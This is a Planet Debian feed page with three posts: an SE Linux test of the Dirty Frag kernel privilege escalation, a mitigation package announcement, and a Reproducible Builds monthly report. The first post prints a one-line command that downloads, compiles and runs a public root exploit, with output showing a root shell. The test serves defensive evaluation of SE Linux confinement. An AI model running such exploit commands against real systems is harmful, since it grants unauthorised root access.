08 May 2026

feedPlanet Debian

Russell Coker: Dirty Frag on Debian and SE Linux

Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it's the first one I saw and it explains things well).

The Test System

The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:

semanage login -m -s user_u -r s0 __default__
restorecon -R -v -F /home
semanage login -m -s root -r s0 root
# logout and login again
semodule -X 100 -r unconfined

Strict Policy is Not Vulnerable

I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as "strict policy") and got the following result:

test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done.
Resolving deltas: 100% (9/9), done.
dirtyfrag: failed (rc=1)
test@testing1:~/t/dirtyfrag$ ./exp 
dirtyfrag: failed (rc=1)

I checked the audit log and saw the following:

# audit2allow -al
#============= user_t ==============
allow user_t self:rxrpc_socket create;
allow user_t self:user_namespace create;

It seems that the rxrpc_socket access is the main thing.

I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:

# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;

This configuration doesn't appear to be vulnerable, at least to this form of the attack.

Unconfined Domains

I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:

semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2
semanage login -a -s unconfined_u test2
restorecon -R -v -F /home/test2

I then tested the exploit as user test2 and got the following result:

test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
#

The kernel message log had the following lines from the time of the attack:

[ 1310.861545] Initializing XFRM netlink socket
[ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni))
[ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni)))
[ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added

Conclusion

It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.

Related posts:

  1. Copy Fail on Debian and SE Linux I have just learned of the Copy Fail kernel vulnerability...
  2. SE Linux Lenny Status Update I previously described four levels of SE Linux support on...
  3. New SE Linux Policy for Lenny I have just uploaded new SE Linux policy packages for...

08 May 2026 5:11am GMT

Daniel Baumann: Debian: Linux Vulnernability Mitigation (Dirty Frag)

After Copy Fail from last week, the new Linux local root privilege escalation of today is Dirty Frag.

For those who can not update to linux >= 7.0.4 that was uploaded to sid (backports for trixie are available in trixie-fastforward-backports), or are waiting for backports and updates to older Debian releases, or can't reboot on short notice, mitigations might be needed.

Given the current trend, it seems we will see more of these bugs in the future. Therefore, I've uploaded a new package linux-vulnerability-mitigation to sid containing the mitigation for both Copy Fail and Dirty Frag (with debconf multiselect).

Until it passed NEW, it can also be downloaded from here:

The package is architecture independent, has no dependencies, and can be installed on any version of Debian or Debian derivative.

08 May 2026 12:00am GMT

07 May 2026

feedPlanet Debian

Reproducible Builds: Reproducible Builds in April 2026

Welcome to our April 2026 report from the Reproducible Builds project!

Our reports outline what we've been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As ever, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website.

In this month's report, we cover:

  1. Tor stateless relays and Reproducible Builds
  2. Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
  3. Reproducible Builds at LinuxFest NorthWest
  4. Reproducibility issues in Rust binaries that embed random bytes
  5. Distribution work
  6. Patches
  7. diffoscope development
  8. Documentation updates
  9. Misc news


Tor stateless relays and Reproducible Builds

An interesting post was published on Tor Project blog by Osservatorio Nessuno OdV this month on "stateless relays". These are stateless, diskless operating systems that are designed to be used as Tor exit relays. According to the post, which is titled A Server That Forgets: Exploring Stateless Relays:

For relay operators, this approach raises the security bar by enforcing better behaviors by design: […]

  1. Reproducibility. A system that doesn't change between reboots is easier to verify and, eventually, to reproduce and audit.

Furthermore, using a Trusted Platform Module (TPM), could allow for greater integrity in the future:

Transparency logs. Once you have a measured boot chain, you can publish it. A relay operator provides a recipe for a reproducible build; anyone can recompute the expected hash and verify it matches what the TPM reports. An append-only transparency log can make these attestations publicly auditable. The Tor community could run an independent monitor to track this across the relay fleet.


Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux

Congratulations to the Civil Infrastructure Platform (CIP) for reaching their 10-year anniversary last month. CIP has been a supporter of Reproducible Builds for many years, and we have collaborated on a number of technical issues that overlap. As Chris Lamb mentions in CIP's press release:

The collaboration between the Reproducible Builds project and CIP highlights a critical shift in how we approach industrial software. Through verifiability, CIP ensures that the open source foundation of our critical infrastructure is not only sustainable but also demonstrably secure. This commitment to transparency is vital for the trust and resilience required by critical systems over decades of operation."


Reproducible Builds at LinuxFest NorthWest

Vagrant Cascadian and Chris Lamb hosted a table in the exposition hall at LinuxFest NorthWest 2026 this month in Bellingham, WA, USA, introducing many people to Reproducible Builds and answering questions both days of the conference.

In addition, Vagrant presented Beyond Trusting Open Source Software on Sunday afternoon, exploring the intersection of Free/Open Source Software, Reproducible Builds and Bootstrappable builds, and how they all reinforce each other. Vagrant's slides are available online, including source code to build them reproducibly.


Reproducibility issues in Rust binaries that embed random bytes

Reproducible Builds developer kpcyrd opened a ticket on the Rustsec issue tracker regarding binaries that deliberately inject random bytes into their binaries "as a secret seed for a Hash Collision DoS mitigation."

As kpcyrd notes in his message, this causes issues for reproducibility, and because the relevant end-user binaries are "mostly distributed pre-compiled through package managers, those binaries (and by extension the secret seed) are public knowledge". kpcyrd goes on to note:

This is somewhat unique to Rust because Python/JavaScript doesn't compile binaries, and Go (to my knowledge) is too restrictive during build for any library to pull something like this.


Distribution work

In Arch Linux this month, Robin Candau and Mark Hegreberg worked at adding a new repro tag/version to the Arch Linux Docker images providing a bit-for-bit reproducible image. Robin also shared a related announcement and implementation details on our mailing list.

Arch Linux developer Robin Candau posted a blog post announcing that "Arch Linux Now Has a Bit-for-Bit Reproducible Docker Image". Robin mentions one interesting caveat:

to ensure reproducibility, the pacman [package manager] keys have to be stripped from the image, meaning that pacman is not usable out of the box in this image. While waiting to find a suitable solution to this technical constraint, we are therefore providing this reproducible image under a dedicated tag as a first milestone. […]

The blog post was also discussed on Hacker News.


In Debian this month, 24 reviews of Debian packages were added, 7 were updated and 16 were removed this month adding to our knowledge about identified issues.

Vagrant Cascadian performed Non-Maintainer Uploads (NMUs) in Debian for several packages with outstanding patches over a year old jakarta-jmeter, wxmplot, critcl, vcsh and magic-wormhole-transit-relay.

In addition, Reproducible Builds developer Jochen Sprickerhof filed a bug against the APT package manager to request that "APT should ignore [a] 0 epoch when downloading or installing with a version specifier". This is related to the special-case handling of the optional epoch prefix in Debian package version numbers.


In NixOS, Julien Malka presented Lila: Decentralized Build Reproducibility Monitoring for the Functional Package Management Model, a paper written together with Arnout Engelen at the Mining Software Repositories (MSR) ACM conference, where it was awarded the MSR 2026 FOSS Impact Award. Congratulations!


Lastly, in openSUSE, Michael Schroeder added reproducibility verification support in the Open Build Service […] and Bernhard M. Wiedemann posted another openSUSE monthly update for their reproducibility work there.


Patches

The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where applicable or possible. This month, we wrote a large number of such patches, including:


diffoscope development

diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes, including preparing and uploading versions, 316, 317 and 318 to Debian.

In addition, Vagrant Cascadian updated diffoscope in GNU Guix to version 317.


Documentation updates

Yet again, there were a number of improvements made to our website this month including:


Misc news

On our mailing list this month:



Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

07 May 2026 9:16pm GMT